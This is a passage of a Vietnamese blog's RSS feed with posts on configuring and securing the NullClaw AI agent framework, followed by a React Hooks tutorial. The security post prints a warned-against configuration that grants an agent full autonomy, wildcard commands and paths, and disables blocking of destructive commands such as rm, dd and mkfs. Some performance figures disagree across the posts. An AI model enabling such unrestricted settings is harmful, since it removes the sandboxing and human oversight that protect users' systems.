      &quot;relays&quot;: [&quot;wss://relay.damus.io&quot;, &quot;wss://nos.lol&quot;],
      &quot;dm_allowed_pubkeys&quot;: [&quot;*&quot;]
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;5. Memory — Bộ Nhớ Cho Agent&lt;/h2&gt;
&lt;p&gt;NullClaw hỗ trợ hybrid search (vector + keyword):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;memory&quot;: {
    &quot;backend&quot;: &quot;sqlite&quot;,
    &quot;auto_save&quot;: true,
    &quot;embedding_provider&quot;: &quot;openai&quot;,
    &quot;vector_weight&quot;: 0.7,
    &quot;keyword_weight&quot;: 0.3
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Các backend có sẵn: SQLite (mặc định), PostgreSQL, Redis, ClickHouse, LanceDB, Markdown, v.v.&lt;/p&gt;
&lt;h2&gt;6. Security — Bảo Mật&lt;/h2&gt;
&lt;p&gt;Cấu hình bảo mật khuyên dùng:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;gateway&quot;: {
    &quot;host&quot;: &quot;127.0.0.1&quot;,
    &quot;require_pairing&quot;: true,
    &quot;allow_public_bind&quot;: false
  },
  &quot;autonomy&quot;: {
    &quot;level&quot;: &quot;supervised&quot;,
    &quot;workspace_only&quot;: true,
    &quot;max_actions_per_hour&quot;: 20
  },
  &quot;security&quot;: {
    &quot;sandbox&quot;: { &quot;backend&quot;: &quot;auto&quot; },
    &quot;audit&quot;: { &quot;enabled&quot;: true, &quot;retention_days&quot;: 90 }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;7. Chạy Và Sử Dụng&lt;/h2&gt;
&lt;h3&gt;CLI&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Chat một lần
nullclaw agent -m &quot;Xin chào!&quot;

# Interactive mode
nullclaw agent

# Check status
nullclaw status
nullclaw doctor
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Gateway Mode&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nullclaw gateway
# Mặc định: http://127.0.0.1:3000

curl http://127.0.0.1:3000/health
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Service Mode&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nullclaw service install
nullclaw service start
nullclaw service status
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Quản Lý Channels&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nullclaw channel status
nullclaw channel start telegram
nullclaw channel start discord
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;8. Telegram Forum Topics — Multi-Agent&lt;/h2&gt;
&lt;p&gt;Bind agent khác nhau cho từng topic trong group:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;agents&quot;: {
    &quot;list&quot;: [
      { &quot;id&quot;: &quot;coder&quot;, &quot;model&quot;: &quot;ollama/qwen2.5-coder:14b&quot; },
      { &quot;id&quot;: &quot;writer&quot;, &quot;model&quot;: &quot;openrouter/anthropic/claude-sonnet-4&quot; }
    ]
  },
  &quot;bindings&quot;: [
    { &quot;agent_id&quot;: &quot;coder&quot;, &quot;match&quot;: { &quot;channel&quot;: &quot;telegram&quot;, &quot;peer&quot;: { &quot;id&quot;: &quot;-100123:thread:42&quot; } } },
    { &quot;agent_id&quot;: &quot;writer&quot;, &quot;match&quot;: { &quot;channel&quot;: &quot;telegram&quot;, &quot;peer&quot;: { &quot;id&quot;: &quot;-100123&quot; } } }
  ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hoặc dùng lệnh &lt;code&gt;/bind&lt;/code&gt; trong Telegram để gán nhanh.&lt;/p&gt;
&lt;h2&gt;9. A2A — Kết Nối Agent Với Agent&lt;/h2&gt;
&lt;p&gt;NullClaw hỗ trợ Google A2A Protocol v0.3.0:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;a2a&quot;: { &quot;enabled&quot;: true, &quot;name&quot;: &quot;nullclaw&quot;, &quot;description&quot;: &quot;AI assistant&quot;, &quot;url&quot;: &quot;https://example.com&quot; }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Lấy token
TOKEN=$(curl -s -X POST -H &quot;X-Pairing-Code: $CODE&quot; http://localhost:3000/pair | jq -r .token)

# Gọi A2A
curl -X POST -H &quot;Authorization: Bearer $TOKEN&quot; \
  -H &quot;Content-Type: application/json&quot; \
  -d &apos;{&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;id&quot;:1,&quot;method&quot;:&quot;message/send&quot;,&quot;params&quot;:{&quot;message&quot;:{&quot;parts&quot;:[{&quot;text&quot;:&quot;Hello&quot;}]}}}&apos; \
  http://localhost:3000/a2a
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;10. Troubleshooting&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Kiểm tra lỗi config
nullclaw doctor

# Xem status chi tiết
nullclaw status --json

# Restart service sau khi thay đổi config
nullclaw service stop &amp;#x26;&amp;#x26; nullclaw service start

# Nếu model gọi thất bại
nullclaw onboard --interactive
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;NullClaw là một trong những AI infrastructure nhẹ nhất, nhanh nhất, và linh hoạt nhất hiện nay. Chỉ với 678 KB, bạn có toàn bộ sức mạnh của một AI agent hiện đại — từ cloud provider đến local LLM, từ Telegram đến Nostr, từ SQLite đến PostgreSQL.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Tài nguyên:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Repo: &lt;a href=&quot;https://github.com/nullclaw/nullclaw&quot;&gt;github.com/nullclaw/nullclaw&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Docs: &lt;a href=&quot;https://nullclaw.github.io&quot;&gt;nullclaw.github.io&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Discord: &lt;a href=&quot;https://discord.gg/Bfmdua22Ud&quot;&gt;discord.gg/Bfmdua22Ud&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nullclaw.github.io&quot;&gt;NullClaw Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/nullclaw/nullclaw&quot;&gt;NullClaw GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ziglang.org/download/0.16.0/&quot;&gt;Zig 0.16.0 Release&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.brew.sh&quot;&gt;Homebrew Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.docker.com/compose/&quot;&gt;Docker Compose Overview&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Giới Thiệu NullClaw — AI Infrastructure Nhỏ Nhất Thế Giới</title><link>https://dopana-blog.pages.dev/blog/nullclaw-intro</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/nullclaw-intro</guid><description>NullClaw là AI assistant infrastructure siêu nhẹ viết bằng Zig — 678 KB binary, ~1 MB RAM, khởi động dưới 2ms. Tìm hiểu tại sao nó đột phá cho edge computing.</description><pubDate>Sun, 28 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Trong thế giới AI agent đầy rẫy những framework nặng nề viết bằng Python, TypeScript, hay Rust, NullClaw nổi lên như một hiện tượng — một AI assistant infrastructure viết hoàn toàn bằng Zig, với binary chỉ 678 KB, tiêu tốn ~1 MB RAM, và khởi động trong &amp;#x3C;2 ms.&lt;/p&gt;
&lt;h2&gt;NullClaw Là Gì?&lt;/h2&gt;
&lt;p&gt;NullClaw là một hệ thống AI agent hoàn chỉnh, mã nguồn mở (MIT), có khả năng:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Kết nối 50+ provider AI (OpenRouter, Anthropic, OpenAI, Gemini, Ollama, Groq, DeepSeek, v.v.)&lt;/li&gt;
&lt;li&gt;Tích hợp 19 kênh giao tiếp (Telegram, Discord, Signal, Slack, Nostr, WhatsApp, IRC, Email, CLI...)&lt;/li&gt;
&lt;li&gt;Cung cấp 35+ công cụ (shell, file, web search, browser, git, memory, hardware GPIO...)&lt;/li&gt;
&lt;li&gt;Hỗ trợ 10 engine memory khác nhau (SQLite, PostgreSQL, Redis, ClickHouse, LanceDB...)&lt;/li&gt;
&lt;li&gt;Chạy trên mọi kiến trúc CPU: ARM, x86, RISC-V&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;So Sánh Hiệu Năng&lt;/h2&gt;
&lt;p&gt;| | NullClaw | OpenClaw | NanoBot | ZeroClaw |
|---|---|---|---|---|
| Ngôn ngữ | Zig | TypeScript | Python | Rust |
| RAM | ~1 MB | &gt; 1 GB | &gt; 100 MB | &amp;#x3C; 5 MB |
| Startup | &amp;#x3C; 8 ms | &gt; 500 s | &gt; 30 s | &amp;#x3C; 10 ms |
| Binary | 678 KB | ~28 MB | N/A | ~8.8 MB |
| Tests | 5,300+ | — | — | 1,017 |
| Giá phần cứng | $5 | $599 | ~$50 | $10 |&lt;/p&gt;
&lt;h2&gt;Tại Sao Lại Chọn Zig?&lt;/h2&gt;
&lt;p&gt;Zig là lựa chọn chiến lược:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Không runtime overhead — không GC, không allocator mặc định&lt;/li&gt;
&lt;li&gt;Compile tĩnh — single binary, zero dependency (chỉ cần libc)&lt;/li&gt;
&lt;li&gt;Cross-compilation mượt mà — build cho ARM, x86, RISC-V từ một máy&lt;/li&gt;
&lt;li&gt;Kiểm soát bộ nhớ thủ công — cho phép đạt ~1 MB peak RSS&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Tính Năng Nổi Bật&lt;/h2&gt;
&lt;h3&gt;Kiến Trúc Vtable&lt;/h3&gt;
&lt;p&gt;Mọi subsystem trong NullClaw đều là interface dạng vtable — bạn có thể swap implementation mà không cần sửa code:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;memory&quot;: { &quot;backend&quot;: &quot;sqlite&quot; },
  &quot;runtime&quot;: { &quot;kind&quot;: &quot;native&quot; },
  &quot;tunnel&quot;: { &quot;provider&quot;: &quot;cloudflare&quot; }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Bảo Mật Đa Lớp&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Gateway bind &lt;code&gt;127.0.0.1&lt;/code&gt; mặc định, từ chối public bind nếu không có tunnel&lt;/li&gt;
&lt;li&gt;Pairing code 6 số một lần, đổi lấy bearer token&lt;/li&gt;
&lt;li&gt;Sandbox tự động chọn Landlock / Firejail / Bubblewrap / Docker&lt;/li&gt;
&lt;li&gt;API key mã hóa ChaCha20-Poly1305&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Hệ Sinh Thái Null&lt;/h3&gt;
&lt;p&gt;NullClaw không đứng một mình — nó là trung tâm của hệ sinh thái Null:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;NullHub — UI để cấu hình và quản lý&lt;/li&gt;
&lt;li&gt;NullBoiler — orchestration multi-agent&lt;/li&gt;
&lt;li&gt;NullWatch — observability và monitoring&lt;/li&gt;
&lt;li&gt;NullTickets — task tracking&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Ai Nên Dùng NullClaw?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Embedded/IoT developers — cần AI trên vi điều khiển và SBC giá rẻ&lt;/li&gt;
&lt;li&gt;DevOps/SRE — muốn AI agent tự động hóa server, không tốn resource&lt;/li&gt;
&lt;li&gt;Privacy-conscious users — muốn kiểm soát hoàn toàn dữ liệu, chạy local&lt;/li&gt;
&lt;li&gt;AI researchers — cần framework linh hoạt để thử nghiệm provider và memory backend&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Dùng thử ngay
brew install nullclaw
nullclaw onboard --interactive
nullclaw agent -m &quot;Xin chào, NullClaw!&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;NullClaw chứng minh rằng một AI agent infrastructure có thể vừa nhẹ, vừa nhanh, vừa đầy đủ tính năng — không cần đánh đổi. Với 678 KB, bạn có thể chạy một AI assistant hoàn chỉnh trên bất kỳ phần cứng nào. Đây là bước tiến quan trọng cho kỷ nguyên edge AI và autonomous agent.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Link: &lt;a href=&quot;https://github.com/nullclaw/nullclaw&quot;&gt;github.com/nullclaw/nullclaw&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/nullclaw/nullclaw&quot;&gt;NullClaw GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/nullclaw/nullhub&quot;&gt;NullClaw — NullHub UI&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ziglang.org/&quot;&gt;Zig Programming Language&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://openrouter.ai/&quot;&gt;OpenRouter — Multi-Provider AI API&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Bảo Mật Với NullClaw — Secure By Design</title><link>https://dopana-blog.pages.dev/blog/nullclaw-security</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/nullclaw-security</guid><description>NullClaw được thiết kế an toàn từ đầu: gateway không public, pairing bắt buộc, sandbox đa lớp, mã hóa secret, audit logging.</description><pubDate>Sun, 28 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Bảo mật là ưu tiên hàng đầu khi chạy AI agent — một agent có quyền truy cập shell, file system, và network là một rủi ro tiềm ẩn. NullClaw giải quyết điều này bằng thiết kế secure by design ở mọi lớp.&lt;/p&gt;
&lt;h2&gt;8 Lớp Bảo Vệ&lt;/h2&gt;
&lt;p&gt;| # | Biện pháp | Trạng thái | Cách hoạt động |
|---|---|---|---|
| 1 | Gateway không public | Mặc định | Bind &lt;code&gt;127.0.0.1&lt;/code&gt;, từ chối public bind không có tunnel |
| 2 | Pairing code | Mặc định | Mã 6 số một lần, &lt;code&gt;POST /pair&lt;/code&gt; → bearer token |
| 3 | Filesystem scoped | Mặc định | &lt;code&gt;workspace_only = true&lt;/code&gt;, chống null byte injection |
| 4 | Tunnel bắt buộc | Khi public | Từ chối bind công khai nếu không có tunnel |
| 5 | Sandbox isolation | Auto | Landlock → Firejail → Bubblewrap → Docker |
| 6 | Mã hóa secret | Mặc định | ChaCha20-Poly1305, key file local |
| 7 | Resource limits | Configurable | Memory, CPU, disk, subprocess |
| 8 | Audit logging | Configurable | Event trail có chữ ký |&lt;/p&gt;
&lt;h2&gt;Cấu Hình Bảo Mật Khuyến Nghị&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;gateway&quot;: {
    &quot;host&quot;: &quot;127.0.0.1&quot;,
    &quot;port&quot;: 3000,
    &quot;require_pairing&quot;: true,
    &quot;allow_public_bind&quot;: false
  },
  &quot;autonomy&quot;: {
    &quot;level&quot;: &quot;supervised&quot;,
    &quot;workspace_only&quot;: true,
    &quot;max_actions_per_hour&quot;: 20
  },
  &quot;security&quot;: {
    &quot;sandbox&quot;: { &quot;backend&quot;: &quot;auto&quot; },
    &quot;audit&quot;: { &quot;enabled&quot;: true, &quot;retention_days&quot;: 90 }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Sandbox Tự Động&lt;/h2&gt;
&lt;p&gt;NullClaw tự động chọn sandbox backend phù hợp nhất:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Landlock (Linux 5.13+) — nhẹ nhất, không cần cài thêm
# Firejail — khi có sẵn
# Bubblewrap — khi có sẵn
# Docker — fallback
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Cơ Chế Pairing&lt;/h2&gt;
&lt;p&gt;Pairing là barrier đầu tiên trước khi AI agent có thể nhận request:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Gateway in ra pairing code khi khởi động
[nullclaw] Gateway started on 127.0.0.1:3000
[nullclaw] Pairing code: 482916

# Đổi code lấy token
curl -X POST -H &quot;X-Pairing-Code: 482916&quot; http://127.0.0.1:3000/pair
# → { &quot;token&quot;: &quot;bearer-eyJ...&quot; }
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Allowlist Channel&lt;/h2&gt;
&lt;p&gt;Mỗi channel có cơ chế allowlist riêng:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;channels&quot;: {
    &quot;telegram&quot;: {
      &quot;accounts&quot;: {
        &quot;main&quot;: {
          &quot;bot_token&quot;: &quot;123:ABC&quot;,
          &quot;allow_from&quot;: [&quot;user1&quot;],
          &quot;reply_in_private&quot;: true
        }
      }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;allow_from&lt;/code&gt; rỗng = từ chối tất cả&lt;/li&gt;
&lt;li&gt;&lt;code&gt;allow_from: [&quot;*&quot;]&lt;/code&gt; = cho phép tất cả (opt-in, rủi ro cao)&lt;/li&gt;
&lt;li&gt;Mặc định = chỉ cho phép user được liệt kê&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Audit Logging&lt;/h2&gt;
&lt;p&gt;Mọi hoạt động đều được ghi lại:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;security&quot;: {
    &quot;audit&quot;: {
      &quot;enabled&quot;: true,
      &quot;retention_days&quot;: 90
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Audit trail bao gồm: tool calls, file access, network requests, config changes — có chữ ký để chống giả mạo.&lt;/p&gt;
&lt;h2&gt;Redaction PII&lt;/h2&gt;
&lt;p&gt;Khi bật PII redaction, NullClaw tự động thay thế dữ liệu nhạy cảm:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Input:  &quot;Email tôi là user@gmail.com, SĐT: 0905123456&quot;
Output: &quot;Email tôi là [EMAIL_1], SĐT: [PHONE_1]&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Các danh mục được redact: email, phone, credit card, passport, token/secret patterns.&lt;/p&gt;
&lt;h2&gt;Workspace Secret Audit&lt;/h2&gt;
&lt;p&gt;Quét workspace để phát hiện secret bị rò rỉ:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nullclaw workspace audit --fail-on high
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Phát hiện: API keys, private keys, high-entropy tokens, credentials trong URL.&lt;/p&gt;
&lt;h2&gt;Cảnh Báo: Các Setting Nguy Hiểm&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;autonomy&quot;: { &quot;level&quot;: &quot;full&quot; },
  &quot;allowed_commands&quot;: [&quot;*&quot;],
  &quot;allowed_paths&quot;: [&quot;*&quot;],
  &quot;block_high_risk_commands&quot;: false
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Các setting này cho phép agent thực thi lệnh nguy hiểm (&lt;code&gt;rm&lt;/code&gt;, &lt;code&gt;sudo&lt;/code&gt;, &lt;code&gt;dd&lt;/code&gt;, &lt;code&gt;mkfs&lt;/code&gt;). Chỉ dùng trong môi trường kiểm soát.&lt;/p&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;NullClaw không xem bảo mật là tính năng — nó là kiến trúc. Từ gateway binding đến sandbox isolation, từ pairing đến encrypted secrets, mọi quyết định thiết kế đều đặt an toàn lên đầu. Đây là một trong những AI infrastructure an toàn nhất hiện có.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nullclaw.github.io/docs/security&quot;&gt;NullClaw Security Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://landlock.io&quot;&gt;Landlock Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc8439&quot;&gt;ChaCha20-Poly1305 Specification&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-project-top-ten/&quot;&gt;OWASP Top Ten&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://firejail.wordpress.com/documentation-2/&quot;&gt;Firejail Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>React Hooks — Từ useState Đến Custom Hooks</title><link>https://dopana-blog.pages.dev/blog/react-hooks</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/react-hooks</guid><description>Làm chủ React Hooks: useState, useEffect, useContext, useReducer và cách viết custom hooks tái sử dụng.</description><pubDate>Sun, 28 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Hooks ra đời năm 2018 thay đổi cách viết React hoàn toàn. Không còn class, không còn &lt;code&gt;this&lt;/code&gt;. Function components + hooks là chuẩn mực mới.&lt;/p&gt;
&lt;h2&gt;useState — State Cơ Bản&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-tsx&quot;&gt;import { useState } from &apos;react&apos;;

function Counter() {
  const [count, setCount] = useState(0);

  return (
    &amp;#x3C;div&gt;
      &amp;#x3C;p&gt;Count: {count}&amp;#x3C;/p&gt;
      &amp;#x3C;button onClick={() =&gt; setCount(c =&gt; c + 1)}&gt;+&amp;#x3C;/button&gt;
    &amp;#x3C;/div&gt;
  );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Luôn dùng functional update (&lt;code&gt;setCount(c =&gt; c + 1)&lt;/code&gt;) khi state mới phụ thuộc state cũ.&lt;/p&gt;
&lt;h2&gt;useEffect — Side Effects&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-tsx&quot;&gt;useEffect(() =&gt; {
  // Chạy sau khi render
  fetch(&apos;/api/data&apos;).then(setData);

  // Cleanup — chạy khi component unmount hoặc dependency thay đổi
  return () =&gt; {
    abortController.abort();
  };
}, []); // [] = chỉ chạy 1 lần (mount)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Dependency Array&lt;/h3&gt;
&lt;p&gt;| dependencies | Khi chạy |
|---|---|
| &lt;code&gt;undefined&lt;/code&gt; | Mỗi lần render |
| &lt;code&gt;[]&lt;/code&gt; | Mount + unmount |
| &lt;code&gt;[a, b]&lt;/code&gt; | Khi a hoặc b thay đổi |&lt;/p&gt;
&lt;h2&gt;useContext — Không Còn Prop Drilling&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-tsx&quot;&gt;const ThemeContext = createContext(&apos;light&apos;);

function App() {
  return (
    &amp;#x3C;ThemeContext.Provider value=&quot;dark&quot;&gt;
      &amp;#x3C;Toolbar /&gt;
    &amp;#x3C;/ThemeContext.Provider&gt;
  );
}

function Toolbar() {
  const theme = useContext(ThemeContext);
  return &amp;#x3C;div className={theme}&gt;Hello&amp;#x3C;/div&gt;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;useReducer — State Phức Tạp&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-tsx&quot;&gt;const initialState = { count: 0 };

function reducer(state, action) {
  switch (action.type) {
    case &apos;increment&apos;: return { count: state.count + 1 };
    case &apos;decrement&apos;: return { count: state.count - 1 };
    case &apos;reset&apos;: return { count: action.payload };
    default: return state;
  }
}

function Counter() {
  const [state, dispatch] = useReducer(reducer, initialState);

  return (
    &amp;#x3C;&gt;
      &amp;#x3C;p&gt;{state.count}&amp;#x3C;/p&gt;
      &amp;#x3C;button onClick={() =&gt; dispatch({ type: &apos;increment&apos; })}&gt;+&amp;#x3C;/button&gt;
      &amp;#x3C;button onClick={() =&gt; dispatch({ type: &apos;reset&apos;, payload: 0 })}&gt;Reset&amp;#x3C;/button&gt;
    &amp;#x3C;/&gt;
  );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Dùng &lt;code&gt;useReducer&lt;/code&gt; khi state có nhiều trường phụ thuộc nhau hoặc logic phức tạp.&lt;/p&gt;
&lt;h2&gt;useRef — Giữ Giá Trị Qua Các Render&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-tsx&quot;&gt;function AutoFocus() {
  const inputRef = useRef&amp;#x3C;HTMLInputElement&gt;(null);

  useEffect(() =&gt; {
    inputRef.current?.focus();
  }, []);

  return &amp;#x3C;input ref={inputRef} /&gt;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;useRef&lt;/code&gt; không gây re-render khi thay đổi — dùng để lưu timeout ID, DOM reference, hoặc giá trị cần giữa các render.&lt;/p&gt;
&lt;h2&gt;useMemo &amp;#x26; useCallback — Performance&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-tsx&quot;&gt;// useMemo — memoize giá trị
const sortedList = useMemo(() =&gt; {
  return items.sort((a, b) =&gt; a.name.localeCompare(b.name));
}, [items]);

// useCallback — memoize function
const handleClick = useCallback((id: number) =&gt; {
  setSelected(id);
}, []);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Không lạm dụng — chỉ dùng khi thực sự cần (danh sách lớn, truyền callback cho child memoized).&lt;/p&gt;
&lt;h2&gt;Custom Hooks — Tái Sử Dụng Logic&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-tsx&quot;&gt;function useWindowSize() {
  const [size, setSize] = useState({ width: 0, height: 0 });

  useEffect(() =&gt; {
    const handleResize = () =&gt; {
      setSize({ width: window.innerWidth, height: window.innerHeight });
    };
    window.addEventListener(&apos;resize&apos;, handleResize);
    handleResize();
    return () =&gt; window.removeEventListener(&apos;resize&apos;, handleResize);
  }, []);

  return size;
}

// Dùng
function App() {
  const { width, height } = useWindowSize();
  return &amp;#x3C;p&gt;{width} x {height}&amp;#x3C;/p&gt;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;useFetch&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-tsx&quot;&gt;function useFetch&amp;#x3C;T&gt;(url: string) {
  const [data, setData] = useState&amp;#x3C;T | null&gt;(null);
  const [loading, setLoading] = useState(true);
  const [error, setError] = useState&amp;#x3C;Error | null&gt;(null);

  useEffect(() =&gt; {
    const abort = new AbortController();
    setLoading(true);

    fetch(url, { signal: abort.signal })
      .then(res =&gt; res.json())
      .then(setData)
      .catch(setError)
      .finally(() =&gt; setLoading(false));

    return () =&gt; abort.abort();
  }, [url]);

  return { data, loading, error };
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Rules of Hooks&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Chỉ gọi hooks ở top level — không trong if, loop, function lồng&lt;/li&gt;
&lt;li&gt;Chỉ gọi hooks trong function component hoặc custom hook&lt;/li&gt;
&lt;li&gt;Tên custom hook bắt đầu bằng &lt;code&gt;use&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Hooks làm React đơn giản hơn, dễ đọc hơn, dễ test hơn. Nắm vững 5 hooks cơ bản (useState, useEffect, useContext, useRef, useMemo) là bạn đã xử lý được 90% tình huống. Custom hooks là cách bạn viết code React sạch và tái sử dụng.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://react.dev/&quot;&gt;React Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://react.dev/reference/react&quot;&gt;React Hooks Reference&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://react.dev/reference/rules&quot;&gt;Rules of Hooks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://react.dev/reference/react/hooks&quot;&gt;React Hooks API — useState, useEffect, useContext&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://react.dev/learn/reusing-logic-with-custom-hooks&quot;&gt;Custom Hooks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.npmjs.com/package/eslint-plugin-react-hooks&quot;&gt;ESLint Plugin React Hooks&lt;/a&gt;&lt;/li&gt;
